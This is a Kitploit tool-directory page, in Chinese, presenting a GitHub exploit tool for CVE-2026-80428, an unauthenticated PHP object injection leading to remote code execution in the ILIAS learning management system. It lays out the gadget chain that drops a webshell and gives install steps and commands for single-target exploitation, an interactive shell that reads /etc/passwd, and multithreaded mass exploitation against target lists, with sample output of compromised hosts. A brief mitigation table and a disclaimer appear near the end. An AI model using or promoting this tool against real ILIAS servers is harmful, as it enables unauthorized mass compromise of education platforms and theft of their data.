Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — 未认证 PHP 对象注入(RCE) | Kitploit
工具/GitHubGitHub/hackfutsecroot/cve-2026-80428
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试远程访问工具
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — 未认证 PHP 对象注入(RCE)

查看仓库
21228天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — 未认证 PHP 对象注入(RCE)

CVE-2026-80428

攻击向量: Shibboleth 反向通道注销端点
影响: 以 Web 服务器用户身份实现完整的远程代码执行
严重性: 🔴 严重



📖 目录

  • 🔍 概述
  • ⚙️ 漏洞利用链
  • 🎯 受影响版本
  • ✨ 功能特性
  • 📦 安装
  • 🚀 使用方法
    • 单一目标利用
    • 交互式 Shell
    • 批量利用
  • 📁 目标列表格式
  • 🖼️ 截图
  • 🛡️ 缓解措施
  • 📢 频道与社区
  • ⚠️ 免责声明

🔍 概述

CVE-2026-80428 是一个严重的未认证 PHP 对象注入漏洞,影响 ILIAS 学习管理系统。通过将 ltiauth.php 中的会话投毒原语与 shib_logout.php 中不安全的 unserialize() 调用进行链式组合,攻击者可以实现任意文件写入,并最终实现远程代码执行(RCE)——而这一切无需任何认证。


🎯 参数📋 值
CVE IDCVE-2026-80428
类型PHP 对象注入 → RCE
所需认证❌ 无
攻击向量网络(HTTP/HTTPS)
CVSS 评分9.8(严重)

⚙️ 漏洞利用链

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

分步说明:

  1. ltiauth.php 在未经验证的情况下,将序列化载荷存入 PHP 会话中。
  2. shib_logout.php 处理精心构造的 Shibboleth LogoutNotification SOAP 请求,并对会话数据调用 unserialize()。
  3. GuzzleHttp\Cookie\FileCookieJar gadget 调用 file_put_contents(),在攻击者控制的路径下写入一个 PHP webshell。

🎯 受影响版本

🏷️ 分支❌ 受影响✅ 已修复
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ 功能特性

🔥 核心功能

  • ✅ 未认证利用
  • ✅ 单目标模式(exploit)
  • ✅ 交互式伪 shell(shell)
  • ✅ 多进程批量利用(mass)

💎 易用性

  • 🎨 完整的 ANSI 彩色输出
  • 🔄 自动路径回退
  • 🧠 版本检测与补丁检查
  • 📝 自动保存易受攻击的目标
  • 🌐 自定义 Host 头支持
  • 🔒 旧版 TLS 支持

📦 安装

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

环境要求:

  • Python 3.8+
  • requests
  • urllib3

🚀 使用方法

python3 CVE-2026-80428.py <mode> [options]

📌 单一目标利用

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

选项:

标志描述默认值
--port目标端口443
--path磁盘上的 ILIAS 文档根目录/var/www/ilias/public
--host-header自定义 Host 头—
--timeout请求超时时间(秒)30

💻 交互式 Shell

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 大规模利用

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

选项:

参数描述默认值
-l, --list必填 — 目标列表文件—
-t, --threads并发工作线程数20
-o, --output存在漏洞目标的输出文件ilias_vuln.txt
--pathILIAS 文档根目录/var/www/ilias/public
--host-header自定义 Host 请求头—
--timeout请求超时时间(秒)30

📁 目标列表格式

创建一个 targets.txt 文件:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

支持的格式:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (路径会被剥离)

🖼️ 截图

🎬 批量扫描输出

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ 缓解措施

面向防御者和系统管理员:

🛠️ 操作📝 详情
🔼 升级 ILIAS9.22 / 10.10 / 11.3 或更高版本
🚫 禁用 Shibboleth如未使用 — 删除 shib_logout.php
🧱 WAF 规则拦截格式错误的 SOAP LogoutNotification 载荷
📂 限制写入权限Web 根目录不应被 www-data 写入
🔍 监控留意上传/缓存目录中出现的异常 .php 文件

📢 频道与社区

🌐 加入社区


 



 



📬 直接联系

👤 平台🔗 账号
💬 Telegram 私信@HackfutS3c
☁️ ULP Cloud@ulp_CLOUD1
📢 频道 1t.me/+gsrpvshwGUc5MzI0
📢 频道 2t.me/LinxProdXs404

⚠️ 免责声明

╔══════════════════════════════════════════════════════════════════╗
║                                                                  ║
║   ⚠️  FOR AUTHORIZED SECURITY TESTING & EDUCATIONAL USE ONLY  ⚠️  ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝

本工具严格仅供教育目的和经授权的渗透测试使用。

  • ❌ 请勿对您不拥有或未获得书面许可测试的系统使用。
  • ❌ 请勿用于非法活动、未经授权的访问或恶意目的。
  • ✅ 请负责任、合乎道德地使用,并在您的授权范围内使用。

作者(Hackfut / LinxProdXs404)不承担任何责任,也不对因本工具造成的任何滥用、损害或法律后果负责。

使用本软件即表示您同意这些条款。未经授权访问计算机系统属于刑事犯罪。


下载工具